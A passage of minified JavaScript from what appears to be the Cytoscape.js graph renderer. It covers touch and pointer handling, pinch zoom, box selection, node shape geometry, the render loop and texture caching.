Date;if(!e.touchData.selecting){s.emit({originalEvent:n,type:"boxstart",position:{x:u[0],y:u[1]}})}e.touchData.selecting=true;e.touchData.didSelect=true;o[4]=1;if(!o||o.length===0||o[0]===undefined){o[0]=(u[0]+u[2]+u[4])/3;o[1]=(u[1]+u[3]+u[5])/3;o[2]=(u[0]+u[2]+u[4])/3+1;o[3]=(u[1]+u[3]+u[5])/3+1}else{o[2]=(u[0]+u[2]+u[4])/3;o[3]=(u[1]+u[3]+u[5])/3}e.redrawHint("select",true);e.redraw()}else if(a&&n.touches[1]&&!e.touchData.didSelect&&s.zoomingEnabled()&&s.panningEnabled()&&s.userZoomingEnabled()&&s.userPanningEnabled()){n.preventDefault();e.data.bgActivePosistion=undefined;e.redrawHint("select",true);var K=e.dragData.touchDragEles;if(K){e.redrawHint("drag",true);for(var $=0;$<K.length;$++){var Z=K[$]._private;Z.grabbed=false;Z.rscratch.inDragLayer=false}}var Q=e.touchData.start;var _=n.touches[0].clientX-R,k=n.touches[0].clientY-F;var C=n.touches[1].clientX-R,D=n.touches[1].clientY-F;var J=Y(_,k,C,D);var ee=J/A;if(G){var te=_-M;var re=k-O;var ne=C-N;var ae=D-z;var ie=(te+ne)/2;var oe=(re+ae)/2;var se=s.zoom();var ue=se*ee;var le=s.pan();var fe=j[0]*se+le.x;var ce=j[1]*se+le.y;var ve={x:-ue/se*(fe-le.x-ie)+fe,y:-ue/se*(ce-le.y-oe)+ce};if(Q&&Q.active()){var K=e.dragData.touchDragEles;g(K);e.redrawHint("drag",true);e.redrawHint("eles",true);Q.unactivate().emit("freeon");K.emit("free");if(e.dragData.didDrag){Q.emit("dragfreeon");K.emit("dragfree")}}s.viewport({zoom:ue,pan:ve,cancelOnFailedZoom:true});s.emit("pinchzoom");A=J;M=_;O=k;N=C;z=D;e.pinching=true}if(n.touches[0]){var c=e.projectIntoViewport(n.touches[0].clientX,n.touches[0].clientY);u[0]=c[0];u[1]=c[1]}if(n.touches[1]){var c=e.projectIntoViewport(n.touches[1].clientX,n.touches[1].clientY);u[2]=c[0];u[3]=c[1]}if(n.touches[2]){var c=e.projectIntoViewport(n.touches[2].clientX,n.touches[2].clientY);u[4]=c[0];u[5]=c[1]}}else if(n.touches[0]&&!e.touchData.didSelect){var de=e.touchData.start;var he=e.touchData.last;var U;if(!e.hoverData.draggingEles&&!e.swipePanning){U=e.findNearestElement(u[0],u[1],true,true)}if(a&&de!=null){n.preventDefault()}if(a&&de!=null&&e.nodeIsDraggable(de)){if(d){var K=e.dragData.touchDragEles;var pe=!e.dragData.didDrag;if(pe){h(K,{inDragLayer:true})}e.dragData.didDrag=true;var ge={x:0,y:0};if(I(p[0])&&I(p[1])){ge.x+=p[0];ge.y+=p[1];if(pe){e.redrawHint("eles",true);var ye=e.touchData.dragDelta;if(ye&&I(ye[0])&&I(ye[1])){ge.x+=ye[0];ge.y+=ye[1]}}}e.hoverData.draggingEles=true;K.silentShift(ge).emit("position drag");e.redrawHint("drag",true);if(e.touchData.startPosition[0]==l[0]&&e.touchData.startPosition[1]==l[1]){e.redrawHint("eles",true)}e.redraw()}else{var ye=e.touchData.dragDelta=e.touchData.dragDelta||[];if(ye.length===0){ye.push(p[0]);ye.push(p[1])}else{ye[0]+=p[0];ye[1]+=p[1]}}}{r(de||U,["touchmove","tapdrag","vmousemove"],n,{x:u[0],y:u[1]});if((!de||!de.grabbed())&&U!=he){if(he){he.emit({originalEvent:n,type:"tapdragout",position:{x:u[0],y:u[1]}})}if(U){U.emit({originalEvent:n,type:"tapdragover",position:{x:u[0],y:u[1]}})}}e.touchData.last=U}if(a){for(var $=0;$<u.length;$++){if(u[$]&&e.touchData.startPosition[$]&&d){e.touchData.singleTouchMoved=true}}}if(a&&(de==null||de.pannable())&&s.panningEnabled()&&s.userPanningEnabled()){var me=i(de,e.touchData.starts);if(me){n.preventDefault();if(!e.data.bgActivePosistion){e.data.bgActivePosistion=St(e.touchData.startPosition)}if(e.swipePanning){s.panBy({x:p[0]*f,y:p[1]*f});s.emit("dragpan")}else if(d){e.swipePanning=true;s.panBy({x:m*f,y:x*f});s.emit("dragpan");if(de){de.unactivate();e.redrawHint("select",true);e.touchData.start=null}}}var c=e.projectIntoViewport(n.touches[0].clientX,n.touches[0].clientY);u[0]=c[0];u[1]=c[1]}}for(var y=0;y<u.length;y++){l[y]=u[y]}if(a&&n.touches.length>0&&!e.hoverData.draggingEles&&!e.swipePanning&&e.data.bgActivePosistion!=null){e.data.bgActivePosistion=undefined;e.redrawHint("select",true);e.redraw()}},false);var U;e.registerBinding(window,"touchcancel",U=function t(r){var n=e.touchData.start;e.touchData.capture=false;if(n){n.unactivate()}});var K,$,Z,Q;e.registerBinding(window,"touchend",K=function n(a){var i=e.touchData.start;var o=e.touchData.capture;if(o){if(a.touches.length===0){e.touchData.capture=false}a.preventDefault()}else{return}var s=e.selection;e.swipePanning=false;e.hoverData.draggingEles=false;var u=e.cy;var l=u.zoom();var f=e.touchData.now;var c=e.touchData.earlier;if(a.touches[0]){var v=e.projectIntoViewport(a.touches[0].clientX,a.touches[0].clientY);f[0]=v[0];f[1]=v[1]}if(a.touches[1]){var v=e.projectIntoViewport(a.touches[1].clientX,a.touches[1].clientY);f[2]=v[0];f[3]=v[1]}if(a.touches[2]){var v=e.projectIntoViewport(a.touches[2].clientX,a.touches[2].clientY);f[4]=v[0];f[5]=v[1]}if(i){i.unactivate()}var d;if(e.touchData.cxt){d={originalEvent:a,type:"cxttapend",position:{x:f[0],y:f[1]}};if(i){i.emit(d)}else{u.emit(d)}if(!e.touchData.cxtDragged){var h={originalEvent:a,type:"cxttap",position:{x:f[0],y:f[1]}};if(i){i.emit(h)}else{u.emit(h)}}if(e.touchData.start){e.touchData.start._private.grabbed=false}e.touchData.cxt=false;e.touchData.start=null;e.redraw();return}if(!a.touches[2]&&u.boxSelectionEnabled()&&e.touchData.selecting){e.touchData.selecting=false;var p=u.collection(e.getAllInBox(s[0],s[1],s[2],s[3]));s[0]=undefined;s[1]=undefined;s[2]=undefined;s[3]=undefined;s[4]=0;e.redrawHint("select",true);u.emit({type:"boxend",originalEvent:a,position:{x:f[0],y:f[1]}});var y=function e(t){return t.selectable()&&!t.selected()};p.emit("box").stdFilter(y).select().emit("boxselect");if(p.nonempty()){e.redrawHint("eles",true)}e.redraw()}if(i!=null){i.unactivate()}if(a.touches[2]){e.data.bgActivePosistion=undefined;e.redrawHint("select",true)}else if(a.touches[1]);else if(a.touches[0]);else if(!a.touches[0]){e.data.bgActivePosistion=undefined;e.redrawHint("select",true);var m=e.dragData.touchDragEles;if(i!=null){var b=i._private.grabbed;g(m);e.redrawHint("drag",true);e.redrawHint("eles",true);if(b){i.emit("freeon");m.emit("free");if(e.dragData.didDrag){i.emit("dragfreeon");m.emit("dragfree")}}r(i,["touchend","tapend","vmouseup","tapdragout"],a,{x:f[0],y:f[1]});i.unactivate();e.touchData.start=null}else{var x=e.findNearestElement(f[0],f[1],true,true);r(x,["touchend","tapend","vmouseup","tapdragout"],a,{x:f[0],y:f[1]})}var w=e.touchData.startPosition[0]-f[0];var E=w*w;var _=e.touchData.startPosition[1]-f[1];var k=_*_;var S=E+k;var C=S*l*l;if(!e.touchData.singleTouchMoved){if(!i){u.$(":selected").unselect(["tapunselect"])}r(i,["tap","vclick"],a,{x:f[0],y:f[1]});$=false;if(a.timeStamp-Q<=u.multiClickDebounceTime()){Z&&clearTimeout(Z);$=true;Q=null;r(i,["dbltap","vdblclick"],a,{x:f[0],y:f[1]})}else{Z=setTimeout((function(){if($)return;r(i,["onetap","voneclick"],a,{x:f[0],y:f[1]})}),u.multiClickDebounceTime());Q=a.timeStamp}}if(i!=null&&!e.dragData.didDrag&&i._private.selectable&&C<e.touchTapThreshold2&&!e.pinching){if(u.selectionType()==="single"){u.$(t).unmerge(i).unselect(["tapunselect"]);i.select(["tapselect"])}else{if(i.selected()){i.unselect(["tapunselect"])}else{i.select(["tapselect"])}}e.redrawHint("eles",true)}e.touchData.singleTouchMoved=true}for(var D=0;D<f.length;D++){c[D]=f[D]}e.dragData.didDrag=false;if(a.touches.length===0){e.touchData.dragDelta=[];e.touchData.startPosition=null;e.touchData.startGPosition=null;e.touchData.didSelect=false}if(a.touches.length<2){if(a.touches.length===1){e.touchData.startGPosition=[a.touches[0].clientX,a.touches[0].clientY]}e.pinching=false;e.redrawHint("eles",true);e.redraw()}},false);if(typeof TouchEvent==="undefined"){var J=[];var ee=function e(t){return{clientX:t.clientX,clientY:t.clientY,force:1,identifier:t.pointerId,pageX:t.pageX,pageY:t.pageY,radiusX:t.width/2,radiusY:t.height/2,screenX:t.screenX,screenY:t.screenY,target:t.target}};var te=function e(t){return{event:t,touch:ee(t)}};var re=function e(t){J.push(te(t))};var ne=function e(t){for(var r=0;r<J.length;r++){var n=J[r];if(n.event.pointerId===t.pointerId){J.splice(r,1);return}}};var ae=function e(t){var r=J.filter((function(e){return e.event.pointerId===t.pointerId}))[0];r.event=t;r.touch=ee(t)};var ie=function e(t){t.touches=J.map((function(e){return e.touch}))};var oe=function e(t){return t.pointerType==="mouse"||t.pointerType===4};e.registerBinding(e.container,"pointerdown",(function(e){if(oe(e)){return}e.preventDefault();re(e);ie(e);W(e)}));e.registerBinding(e.container,"pointerup",(function(e){if(oe(e)){return}ne(e);ie(e);K(e)}));e.registerBinding(e.container,"pointercancel",(function(e){if(oe(e)){return}ne(e);ie(e);U(e)}));e.registerBinding(e.container,"pointermove",(function(e){if(oe(e)){return}e.preventDefault();ae(e);ie(e);H(e)}))}};var ku={};ku.generatePolygon=function(e,t){return this.nodeShapes[e]={renderer:this,name:e,points:t,draw:function e(t,r,n,a,i){this.renderer.nodeShapeImpl("polygon",t,r,n,a,i,this.points)},intersectLine:function e(t,r,n,a,i,o,s){return gr(i,o,this.points,t,r,n/2,a/2,s)},checkPoint:function e(t,r,n,a,i,o,s){return sr(t,r,this.points,o,s,a,i,[0,-1],n)}}};ku.generateEllipse=function(){return this.nodeShapes["ellipse"]={renderer:this,name:"ellipse",draw:function e(t,r,n,a,i){this.renderer.nodeShapeImpl(this.name,t,r,n,a,i)},intersectLine:function e(t,r,n,a,i,o,s){return cr(i,o,t,r,n/2+s,a/2+s)},checkPoint:function e(t,r,n,a,i,o,s){return vr(t,r,a,i,o,s,n)}}};ku.generateRoundPolygon=function(e,t){var r=new Array(t.length*2);for(var n=0;n<t.length/2;n++){var a=n*2;var i=void 0;if(n<t.length/2-1){i=(n+1)*2}else{i=0}r[n*4]=t[a];r[n*4+1]=t[a+1];var o=t[i]-t[a];var s=t[i+1]-t[a+1];var u=Math.sqrt(o*o+s*s);r[n*4+2]=o/u;r[n*4+3]=s/u}return this.nodeShapes[e]={renderer:this,name:e,points:r,draw:function e(t,r,n,a,i){this.renderer.nodeShapeImpl("round-polygon",t,r,n,a,i,this.points)},intersectLine:function e(t,r,n,a,i,o,s){return yr(i,o,this.points,t,r,n,a)},checkPoint:function e(t,r,n,a,i,o,s){return ur(t,r,this.points,o,s,a,i)}}};ku.generateRoundRectangle=function(){return this.nodeShapes["round-rectangle"]=this.nodeShapes["roundrectangle"]={renderer:this,name:"round-rectangle",points:br(4,0),draw:function e(t,r,n,a,i){this.renderer.nodeShapeImpl(this.name,t,r,n,a,i)},intersectLine:function e(t,r,n,a,i,o,s){return Jt(i,o,t,r,n,a,s)},checkPoint:function e(t,r,n,a,i,o,s){var u=Er(a,i);var l=u*2;if(sr(t,r,this.points,o,s,a,i-l,[0,-1],n)){return true}if(sr(t,r,this.points,o,s,a-l,i,[0,-1],n)){return true}if(vr(t,r,l,l,o-a/2+u,s-i/2+u,n)){return true}if(vr(t,r,l,l,o+a/2-u,s-i/2+u,n)){return true}if(vr(t,r,l,l,o+a/2-u,s+i/2-u,n)){return true}if(vr(t,r,l,l,o-a/2+u,s+i/2-u,n)){return true}return false}}};ku.generateCutRectangle=function(){return this.nodeShapes["cut-rectangle"]=this.nodeShapes["cutrectangle"]={renderer:this,name:"cut-rectangle",cornerLength:kr(),points:br(4,0),draw:function e(t,r,n,a,i){this.renderer.nodeShapeImpl(this.name,t,r,n,a,i)},generateCutTrianglePts:function e(t,r,n,a){var i=this.cornerLength;var o=r/2;var s=t/2;var u=n-s;var l=n+s;var f=a-o;var c=a+o;return{topLeft:[u,f+i,u+i,f,u+i,f+i],topRight:[l-i,f,l,f+i,l-i,f+i],bottomRight:[l,c-i,l-i,c,l-i,c-i],bottomLeft:[u+i,c,u,c-i,u+i,c-i]}},intersectLine:function e(t,r,n,a,i,o,s){var u=this.generateCutTrianglePts(n+2*s,a+2*s,t,r);var l=[].concat.apply([],[u.topLeft.splice(0,4),u.topRight.splice(0,4),u.bottomRight.splice(0,4),u.bottomLeft.splice(0,4)]);return gr(i,o,l,t,r)},checkPoint:function e(t,r,n,a,i,o,s){if(sr(t,r,this.points,o,s,a,i-2*this.cornerLength,[0,-1],n)){return true}if(sr(t,r,this.points,o,s,a-2*this.cornerLength,i,[0,-1],n)){return true}var u=this.generateCutTrianglePts(a,i,o,s);return or(t,r,u.topLeft)||or(t,r,u.topRight)||or(t,r,u.bottomRight)||or(t,r,u.bottomLeft)}}};ku.generateBarrel=function(){return this.nodeShapes["barrel"]={renderer:this,name:"barrel",points:br(4,0),draw:function e(t,r,n,a,i){this.renderer.nodeShapeImpl(this.name,t,r,n,a,i)},intersectLine:function e(t,r,n,a,i,o,s){var u=.15;var l=.5;var f=.85;var c=this.generateBarrelBezierPts(n+2*s,a+2*s,t,r);var v=function e(t){var r=jt({x:t[0],y:t[1]},{x:t[2],y:t[3]},{x:t[4],y:t[5]},u);var n=jt({x:t[0],y:t[1]},{x:t[2],y:t[3]},{x:t[4],y:t[5]},l);var a=jt({x:t[0],y:t[1]},{x:t[2],y:t[3]},{x:t[4],y:t[5]},f);return[t[0],t[1],r.x,r.y,n.x,n.y,a.x,a.y,t[4],t[5]]};var d=[].concat(v(c.topLeft),v(c.topRight),v(c.bottomRight),v(c.bottomLeft));return gr(i,o,d,t,r)},generateBarrelBezierPts:function e(t,r,n,a){var i=r/2;var o=t/2;var s=n-o;var u=n+o;var l=a-i;var f=a+i;var c=Cr(t,r);var v=c.heightOffset;var d=c.widthOffset;var h=c.ctrlPtOffsetPct*t;var p={topLeft:[s,l+v,s+h,l,s+d,l],topRight:[u-d,l,u-h,l,u,l+v],bottomRight:[u,f-v,u-h,f,u-d,f],bottomLeft:[s+d,f,s+h,f,s,f-v]};p.topLeft.isTop=true;p.topRight.isTop=true;p.bottomLeft.isBottom=true;p.bottomRight.isBottom=true;return p},checkPoint:function e(t,r,n,a,i,o,s){var u=Cr(a,i);var l=u.heightOffset;var f=u.widthOffset;if(sr(t,r,this.points,o,s,a,i-2*l,[0,-1],n)){return true}if(sr(t,r,this.points,o,s,a-2*f,i,[0,-1],n)){return true}var c=this.generateBarrelBezierPts(a,i,o,s);var v=function e(t,r,n){var a=n[4];var i=n[2];var o=n[0];var s=n[5];var u=n[1];var l=Math.min(a,o);var f=Math.max(a,o);var c=Math.min(s,u);var v=Math.max(s,u);if(l<=t&&t<=f&&c<=r&&r<=v){var d=Sr(a,i,o);var h=rr(d[0],d[1],d[2],t);var p=h.filter((function(e){return 0<=e&&e<=1}));if(p.length>0){return p[0]}}return null};var d=Object.keys(c);for(var h=0;h<d.length;h++){var p=d[h];var g=c[p];var y=v(t,r,g);if(y==null){continue}var m=g[5];var b=g[3];var x=g[1];var w=Bt(m,b,x,y);if(g.isTop&&w<=r){return true}if(g.isBottom&&r<=w){return true}}return false}}};ku.generateBottomRoundrectangle=function(){return this.nodeShapes["bottom-round-rectangle"]=this.nodeShapes["bottomroundrectangle"]={renderer:this,name:"bottom-round-rectangle",points:br(4,0),draw:function e(t,r,n,a,i){this.renderer.nodeShapeImpl(this.name,t,r,n,a,i)},intersectLine:function e(t,r,n,a,i,o,s){var u=t-(n/2+s);var l=r-(a/2+s);var f=l;var c=t+(n/2+s);var v=pr(i,o,t,r,u,l,c,f,false);if(v.length>0){return v}return Jt(i,o,t,r,n,a,s)},checkPoint:function e(t,r,n,a,i,o,s){var u=Er(a,i);var l=2*u;if(sr(t,r,this.points,o,s,a,i-l,[0,-1],n)){return true}if(sr(t,r,this.points,o,s,a-l,i,[0,-1],n)){return true}var f=a/2+2*n;var c=i/2+2*n;var v=[o-f,s-c,o-f,s,o+f,s,o+f,s-c];if(or(t,r,v)){return true}if(vr(t,r,l,l,o+a/2-u,s+i/2-u,n)){return true}if(vr(t,r,l,l,o-a/2+u,s+i/2-u,n)){return true}return false}}};ku.registerNodeShapes=function(){var e=this.nodeShapes={};var t=this;this.generateEllipse();this.generatePolygon("triangle",br(3,0));this.generateRoundPolygon("round-triangle",br(3,0));this.generatePolygon("rectangle",br(4,0));e["square"]=e["rectangle"];this.generateRoundRectangle();this.generateCutRectangle();this.generateBarrel();this.generateBottomRoundrectangle();{var r=[0,1,1,0,0,-1,-1,0];this.generatePolygon("diamond",r);this.generateRoundPolygon("round-diamond",r)}this.generatePolygon("pentagon",br(5,0));this.generateRoundPolygon("round-pentagon",br(5,0));this.generatePolygon("hexagon",br(6,0));this.generateRoundPolygon("round-hexagon",br(6,0));this.generatePolygon("heptagon",br(7,0));this.generateRoundPolygon("round-heptagon",br(7,0));this.generatePolygon("octagon",br(8,0));this.generateRoundPolygon("round-octagon",br(8,0));var n=new Array(20);{var a=wr(5,0);var i=wr(5,Math.PI/5);var o=.5*(3-Math.sqrt(5));o*=1.57;for(var s=0;s<i.length/2;s++){i[s*2]*=o;i[s*2+1]*=o}for(var s=0;s<20/4;s++){n[s*4]=a[s*2];n[s*4+1]=a[s*2+1];n[s*4+2]=i[s*2];n[s*4+3]=i[s*2+1]}}n=xr(n);this.generatePolygon("star",n);this.generatePolygon("vee",[-1,-1,0,-.333,1,-1,0,1]);this.generatePolygon("rhomboid",[-1,-1,.333,-1,1,1,-.333,1]);this.nodeShapes["concavehexagon"]=this.generatePolygon("concave-hexagon",[-1,-.95,-.75,0,-1,.95,1,.95,.75,0,1,-.95]);{var u=[-1,-1,.25,-1,1,0,.25,1,-1,1];this.generatePolygon("tag",u);this.generateRoundPolygon("round-tag",u)}e.makePolygon=function(e){var r=e.join("$");var n="polygon-"+r;var a;if(a=this[n]){return a}return t.generatePolygon(n,e)}};var Su={};Su.timeToRender=function(){return this.redrawTotalTime/this.redrawCount};Su.redraw=function(e){e=e||Ue();var t=this;if(t.averageRedrawTime===undefined){t.averageRedrawTime=0}if(t.lastRedrawTime===undefined){t.lastRedrawTime=0}if(t.lastDrawTime===undefined){t.lastDrawTime=0}t.requestedFrame=true;t.renderOptions=e};Su.beforeRender=function(e,t){if(this.destroyed){return}if(t==null){Fe("Priority is not optional for beforeRender")}var r=this.beforeRenderCallbacks;r.push({fn:e,priority:t});r.sort((function(e,t){return t.priority-e.priority}))};var Cu=function e(t,r,n){var a=t.beforeRenderCallbacks;for(var i=0;i<a.length;i++){a[i].fn(r,n)}};Su.startRenderLoop=function(){var e=this;var t=e.cy;if(e.renderLoopStarted){return}else{e.renderLoopStarted=true}var r=function r(n){if(e.destroyed){return}if(t.batching());else if(e.requestedFrame&&!e.skipFrame){Cu(e,true,n);var a=me();e.render(e.renderOptions);var i=e.lastDrawTime=me();if(e.averageRedrawTime===undefined){e.averageRedrawTime=i-a}if(e.redrawCount===undefined){e.redrawCount=0}e.redrawCount++;if(e.redrawTotalTime===undefined){e.redrawTotalTime=0}var o=i-a;e.redrawTotalTime+=o;e.lastRedrawTime=o;e.averageRedrawTime=e.averageRedrawTime/2+o/2;e.requestedFrame=false}else{Cu(e,false,n)}e.skipFrame=false;ye(r)};ye(r)};var Du=function e(t){this.init(t)};var Tu=Du;var Pu=Tu.prototype;Pu.clientFunctions=["redrawHint","render","renderTo","matchCanvasSize","nodeShapeImpl","arrowShapeImpl"];Pu.init=function(e){var t=this;t.options=e;t.cy=e.cy;var r=t.container=e.cy.container();if(m){var n=m.document;var a=n.head;var i="__________cytoscape_stylesheet";var o="__________cytoscape_container";var s=n.getElementById(i)!=null;if(r.className.indexOf(o)<0){r.className=(r.className||"")+" "+o}if(!s){var u=n.createElement("style");u.id=i;u.innerHTML="."+o+" { position: relative; }";a.insertBefore(u,a.children[0])}var l=m.getComputedStyle(r);var f=l.getPropertyValue("position");if(f==="static"){qe("A Cytoscape container has style position:static and so can not use UI extensions properly")}}t.selection=[undefined,undefined,undefined,undefined,0];t.bezierProjPcts=[.05,.225,.4,.5,.6,.775,.95];t.hoverData={down:null,last:null,downTime:null,triggerMode:null,dragging:false,initialPan:[null,null],capture:false};t.dragData={possibleDragElements:[]};t.touchData={start:null,capture:false,startPosition:[null,null,null,null,null,null],singleTouchStartTime:null,singleTouchMoved:true,now:[null,null,null,null,null,null],earlier:[null,null,null,null,null,null]};t.redraws=0;t.showFps=e.showFps;t.debug=e.debug;t.hideEdgesOnViewport=e.hideEdgesOnViewport;t.textureOnViewport=e.textureOnViewport;t.wheelSensitivity=e.wheelSensitivity;t.motionBlurEnabled=e.motionBlur;t.forcedPixelRatio=I(e.pixelRatio)?e.pixelRatio:null;t.motionBlur=e.motionBlur;t.motionBlurOpacity=e.motionBlurOpacity;t.motionBlurTransparency=1-t.motionBlurOpacity;t.motionBlurPxRatio=1;t.mbPxRBlurry=1;t.minMbLowQualFrames=4;t.fullQualityMb=false;t.clearedForMotionBlur=[];t.desktopTapThreshold=e.desktopTapThreshold;t.desktopTapThreshold2=e.desktopTapThreshold*e.desktopTapThreshold;t.touchTapThreshold=e.touchTapThreshold;t.touchTapThreshold2=e.touchTapThreshold*e.touchTapThreshold;t.tapholdDuration=500;t.bindings=[];t.beforeRenderCallbacks=[];t.beforeRenderPriorities={animations:400,eleCalcs:300,eleTxrDeq:200,lyrTxrDeq:150,lyrTxrSkip:100};t.registerNodeShapes();t.registerArrowShapes();t.registerCalculationListeners()};Pu.notify=function(e,t){var r=this;var n=r.cy;if(this.destroyed){return}if(e==="init"){r.load();return}if(e==="destroy"){r.destroy();return}if(e==="add"||e==="remove"||e==="move"&&n.hasCompoundNodes()||e==="load"||e==="zorder"||e==="mount"){r.invalidateCachedZSortedEles()}if(e==="viewport"){r.redrawHint("select",true)}if(e==="load"||e==="resize"||e==="mount"){r.invalidateContainerClientCoordsCache();r.matchCanvasSize(r.container)}r.redrawHint("eles",true);r.redrawHint("drag",true);this.startRenderLoop();this.redraw()};Pu.destroy=function(){var e=this;e.destroyed=true;e.cy.stopAnimationLoop();for(var t=0;t<e.bindings.length;t++){var r=e.bindings[t];var n=r;var a=n.target;(a.off||a.removeEventListener).apply(a,n.args)}e.bindings=[];e.beforeRenderCallbacks=[];e.onUpdateEleCalcsFns=[];if(e.removeObserver){e.removeObserver.disconnect()}if(e.styleObserver){e.styleObserver.disconnect()}if(e.resizeObserver){e.resizeObserver.disconnect()}if(e.labelCalcDiv){try{document.body.removeChild(e.labelCalcDiv)}catch(e){}}};Pu.isHeadless=function(){return false};[au,wu,Eu,_u,ku,Su].forEach((function(e){ie(Pu,e)}));var Mu=1e3/60;var Iu={setupDequeueing:function e(t){return function e(){var r=this;var n=this.renderer;if(r.dequeueingSetup){return}else{r.dequeueingSetup=true}var i=a((function(){n.redrawHint("eles",true);n.redrawHint("drag",true);n.redraw()}),t.deqRedrawThreshold);var o=function e(a,o){var s=me();var u=n.averageRedrawTime;var l=n.lastRedrawTime;var f=[];var c=n.cy.extent();var v=n.getPixelRatio();if(!a){n.flushRenderedStyleQueue()}while(true){var d=me();var h=d-s;var p=d-o;if(l<Mu){var g=Mu-(a?u:0);if(p>=t.deqFastCost*g){break}}else{if(a){if(h>=t.deqCost*l||h>=t.deqAvgCost*u){break}}else if(p>=t.deqNoDrawCost*Mu){break}}var y=t.deq(r,v,c);if(y.length>0){for(var m=0;m<y.length;m++){f.push(y[m])}}else{break}}if(f.length>0){t.onDeqd(r,f);if(!a&&t.shouldRedraw(r,f,v,c)){i()}}};var s=t.priority||Re;n.beforeRender(o,s(r))}}};var Ou=function(){function e(t){var r=arguments.length>1&&arguments[1]!==undefined?arguments[1]:Be;f(this,e);this.idsByKey=new rt;this.keyForId=new rt;this.cachesByLvl=new rt;this.lvls=[];this.getKey=t;this.doesEleInvalidateKey=r}v(e,[{key:"getIdsFor",value:function e(t){if(t==null){Fe("Can not get id list for null key")}var r=this.idsByKey;var n=this.idsByKey.get(t);if(!n){n=new it;r.set(t,n)}return n}},{key:"addIdForKey",value:function e(t,r){if(t!=null){this.getIdsFor(t).add(r)}}},{key:"deleteIdForKey",value:function e(t,r){if(t!=null){this.getIdsFor(t)["delete"](r)}}},{key:"getNumberOfIdsForKey",value:function e(t){if(t==null){return 0}else{return this.getIdsFor(t).size}}},{key:"updateKeyMappingFor",value:function e(t){var r=t.id();var n=this.keyForId.get(r);var a=this.getKey(t);this.deleteIdForKey(n,r);this.addIdForKey(a,r);this.keyForId.set(r,a)}},{key:"deleteKeyMappingFor",value:function e(t){var r=t.id();var n=this.keyForId.get(r);this.deleteIdForKey(n,r);this.keyForId["delete"](r)}},{key:"keyHasChangedFor",value:function e(t){var r=t.id();var n=this.keyForId.get(r);var a=this.getKey(t);return n!==a}},{key:"isInvalid",value:function e(t){return this.keyHasChangedFor(t)||this.doesEleInvalidateKey(t)}},{key:"getCachesAt",value:function e(t){var r=this.cachesByLvl,n=this.lvls;var a=r.get(t);if(!a){a=new rt;r.set(t,a);n.push(t)}return a}},{key:"getCache",value:function e(t,r){return this.getCachesAt(r).get(t)}},{key:"get",value:function e(t,r){var n=this.getKey(t);var a=this.getCache(n,r);if(a!=null){this.updateKeyMappingFor(t)}return a}},{key:"getForCachedKey",value:function e(t,r){var n=this.keyForId.get(t.id());var a=this.getCache(n,r);return a}},{key:"hasCache",value:function e(t,r){return this.getCachesAt(r).has(t)}},{key:"has",value:function e(t,r){var n=this.getKey(t);return this.hasCache(n,r)}},{key:"setCache",value:function e(t,r,n){n.key=t;this.getCachesAt(r).set(t,n)}},{key:"set",value:function e(t,r,n){var a=this.getKey(t);this.setCache(a,r,n);this.updateKeyMappingFor(t)}},{key:"deleteCache",value:function e(t,r){this.getCachesAt(r)["delete"](t)}},{key:"delete",value:function e(t,r){var n=this.getKey(t);this.deleteCache(n,r)}},{key:"invalidateKey",value:function e(t){var r=this;this.lvls.forEach((function(e){return r.deleteCache(t,e)}))}},{key:"invalidate",value:function e(t){var r=t.id();var n=this.keyForId.get(r);this.deleteKeyMappingFor(t);var a=this.doesEleInvalidateKey(t);if(a){this.invalidateKey(n)}return a||this.getNumberOfIdsForKey(n)===0}}]);return e}();var Nu=25;var zu=50;var Au=-4;var Lu=3;var Bu=7.99;var ju=8;var Ru=1024;var Fu=1024;var Vu=1024;var qu=.2;var Gu=.8;var Yu=10;var Xu=.15;var Wu=.1;var Hu=.9;var Uu=.9;var Ku=100;var $u=1;var Zu={dequeue:"dequeue",downscale:"downscale",highQuality:"highQuality"};var Qu=Ke({getKey:null,doesEleInvalidateKey:Be,drawElement:null,getBoundingBox:null,getRotationPoint:null,getRotationOffset:null,isVisible:Le,allowEdgeTxrCaching:true,allowParentTxrCaching:true});var Ju=function e(t,r){var n=this;n.renderer=t;n.onDequeues=[];var a=Qu(r);ie(n,a);n.lookup=new Ou(a.getKey,a.doesEleInvalidateKey);n.setupDequeueing()};var el=Ju.prototype;el.reasons=Zu;el.getTextureQueue=function(e){var t=this;t.eleImgCaches=t.eleImgCaches||{};return t.eleImgCaches[e]=t.eleImgCaches[e]||[]};el.getRetiredTextureQueue=function(e){var t=this;var r=t.eleImgCaches.retired=t.eleImgCaches.retired||{};var n=r[e]=r[e]||[];return n};el.getElementQueue=function(){var e=this;var t=e.eleCacheQueue=e.eleCacheQueue||new i((function(e,t){return t.reqs-e.reqs}));return t};el.getElementKeyToQueue=function(){var e=this;var t=e.eleKeyToCacheQueue=e.eleKeyToCacheQueue||{};return t};el.getElement=function(e,t,r,n,a){var i=this;var o=this.renderer;var s=o.cy.zoom();var u=this.lookup;if(!t||t.w===0||t.h===0||isNaN(t.w)||isNaN(t.h)||!e.visible()||e.removed()){return null}if(!i.allowEdgeTxrCaching&&e.isEdge()||!i.allowParentTxrCaching&&e.isParent()){return null}if(n==null){n=Math.ceil(Ot(s*r))}if(n<Au){n=Au}else if(s>=Bu||n>Lu){return null}var l=Math.pow(2,n);var f=t.h*l;var c=t.w*l;var v=o.eleTextBiggerThanMin(e,l);if(!this.isVisible(e,v)){return null}var d=u.get(e,n);if(d&&d.invalidated){d.invalidated=false;d.texture.invalidatedWidth-=d.width}if(d){return d}var h;if(f<=Nu){h=Nu}else if(f<=zu){h=zu}else{h=Math.ceil(f/zu)*zu}if(f>Vu||c>Fu){return null}var p=i.getTextureQueue(h);var g=p[p.length-2];var y=function e(){return i.recycleTexture(h,c)||i.addTexture(h,c)};if(!g){g=p[p.length-1]}if(!g){g=y()}if(g.width-g.usedWidth<c){g=y()}var m=function e(t){return t&&t.scaledLabelShown===v};var b=a&&a===Zu.dequeue;var x=a&&a===Zu.highQuality;var w=a&&a===Zu.downscale;var E;for(var _=n+1;_<=Lu;_++){var k=u.get(e,_);if(k){E=k;break}}var S=E&&E.level===n+1?E:null;var C=function e(){g.context.drawImage(S.texture.canvas,S.x,0,S.width,S.height,g.usedWidth,0,c,f)};g.context.setTransform(1,0,0,1,0,0);g.context.clearRect(g.usedWidth,0,c,h);if(m(S)){C()}else if(m(E)){if(x){for(var D=E.level;D>n;D--){S=i.getElement(e,t,r,D,Zu.downscale)}C()}else{i.queueElement(e,E.level-1);return E}}else{var T;if(!b&&!x&&!w){for(var P=n-1;P>=Au;P--){var M=u.get(e,P);if(M){T=M;break}}}if(m(T)){i.queueElement(e,n);return 